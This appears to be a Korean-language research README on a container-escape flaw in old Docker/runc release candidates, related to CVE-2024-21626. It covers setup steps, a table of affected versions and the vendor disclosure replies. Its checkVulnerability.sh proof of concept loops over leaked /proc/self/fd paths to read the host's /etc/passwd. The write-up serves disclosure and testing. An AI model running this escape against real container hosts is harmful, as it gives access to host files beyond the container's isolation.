
레거시 Docker/runc 버전의 컨테이너 탈출 취약점을 분석하고 악용하여 fd 누출을 통해 호스트 파일 시스템에 접근하는 방법을 시연하며, 설정 및 테스트 스크립트를 포함합니다.
CVE-2024-21626에 대한 분석 중에 다른 오래된 Docker 구성 요소들이 fd 누출에 취약하다는 것을 발견했습니다 (보안 권고 GHSA-xr7r-f8xq-vfvv에는 언급되지 않은 내용입니다). 자세한 설명은 제 전체 글 여기에서 읽을 수 있습니다.
설치 중에 업데이트 시스템 다운로드 상자를 체크하지 마세요.
https://download.docker.com/linux/static/stable/x86_64/ 로 이동하여 테스트할 이전 버전 docker-X.Y.Z-ce.tgz 를 다운로드하세요.
압축을 풀고 내용을 /usr/bin 경로에 복사한 후 Docker 데몬을 실행하세요.
cd Downloads/
tar xzvf <docker-X.Y.Z-ce.tgz>
sudo cp docker/* /usr/bin/
sudo dockerd &
sudo docker version
containerd --version
uname -r
이전 버전에는 runc 대신 docker-runc가 있습니다. 따라서 다음을 확인하세요:
ls -la /usr/bin | grep docker
-rwxr-xr-x 1 root root 14128576 mar 19 10:54 docker
-rwxr-xr-x 1 root root 8932648 mar 19 10:54 docker-containerd
-rwxr-xr-x 1 root root 8381448 mar 19 10:54 docker-containerd-ctr
-rwxr-xr-x 1 root root 3047368 mar 19 10:54 docker-containerd-shim
-rwxr-xr-x 1 root root 39989264 mar 19 10:54 dockerd
-rwxr-xr-x 1 root root 772400 mar 19 10:54 docker-init
-rwxr-xr-x 1 root root 2534781 mar 19 10:54 docker-proxy
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
ls -la /usr/bin| grep runc
-rwxr-xr-x 1 root root 10232 mar 18 2018 bdftruncate
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
-rwxr-xr-x 1 root root 35000 gen 18 2018 runcon
-rwxr-xr-x 1 root root 39096 gen 18 2018 truncate
doker-runc/runc 버전 확인
runc --version
docker-runc -v
checkVulnerability.sh를 실행하고 파일이 터미널에 출력되는지 확인하세요.
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
echo ""
done
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git
# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
이 예시에서는 docker-17.03.1-ce 버전을 사용했습니다.

이 예시에서는 docker-17.03.1-ce 버전을 사용했습니다.

다음은 Docker 버전과 사용된 관련 runc 버전별로 정리한 분석 결과입니다.
| Docker 버전 | runc 버전 | 누출된 fd 번호 |
|---|---|---|
| docker-18.09.0.tgz | 1.0.0-rc5+dev | ❌ |
세 가지 취약한 버전을 보여주는 스크린샷입니다.
| 1.0.0-rc2 | 1.0.0-rc3 | 1.0.0-rc4+dev |
|---|---|---|
![]() | ![]() | ![]() |
CVE-2024-21626와 마찬가지로 다양한 유형의 공격이 여전히 가능합니다.
이 취약점은 CVE-2024-21626과 상당히 다릅니다. 그 이유는 다음과 같습니다:
openat2 시스템 콜이 없는 이전 Linux 버전에서 트리거될 수 있습니다./sys/fs/cgroup 디렉터리가 아닌, 실행 중인 컨테이너의 상태를 포함하는 /run/runc/<container>/ 경로에 있습니다.제가 발견한 것은 이전 버전들도 동일한 공격 기법에 취약하다는 점입니다. 취약점 자체는 다르지만 결과는 동일합니다: 호스트 파일시스템에 대한 접근 권한 획득. 핵심 시사점은 보안 권고에만 의존하지 말고 모든 것을 철저히 테스트하라는 것입니다. CVE와 그 작동 방식을 완전히 이해하고, 안전한 환경에서 실험하며, 엣지 케이스를 탐색하세요.
[email protected], [email protected]에 연락하고 CVE를 열려고 시도했습니다. 다음과 같은 답변을 받았습니다.
| Docker 버전 | docker-runc 버전 | 누출된 fd 번호 |
|---|
| docker-17.03.1-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.03.2-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.06.0-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.1-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.2-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.09.0-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.09.1-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.12.0-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-17.12.1-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-18.03.0-ce.tgz | ❌ | |
| docker-18.06.3-ce.tgz | 1.0.0-rc5+dev | ❌ |
| 요청 | 답변 |
|---|
| [email protected] (19/03/24) | 나열하신 버전은 모두 소프트웨어의 EOL(수명 종료) 버전(약 7년 전)이며 더 이상 Docker에서 패치하거나 유지 관리하지 않습니다. 기존 GHSA-xr7r-f8xq-vfvv 권고("영향을 받는 버전: >= 1.0.0-rc93, <= 1.1.11")에 나열된 버전이나 문구에 대해 우려가 있으시다면, 신고할 올바른 채널은 OCI 보안 사서함입니다: https://github.com/opencontainers/.github/blob/main/SECURITY.md 연락해 주셔서 감사합니다. 더 도움이 될 일이 있으면 알려주세요. |
| [email protected] (20/03/24) | 응답 없음 |
| CVE-MITRE (15/05/2024) | 우리는 일반적으로 릴리스 후보에만 존재하는 문제에는 CVE ID를 부여하지 않습니다. https://www.cve.org/CVERecord?id=CVE-2024-21626 는 1.1.11 릴리스와 같은 runc의 릴리스 버전에 영향을 미쳤습니다. |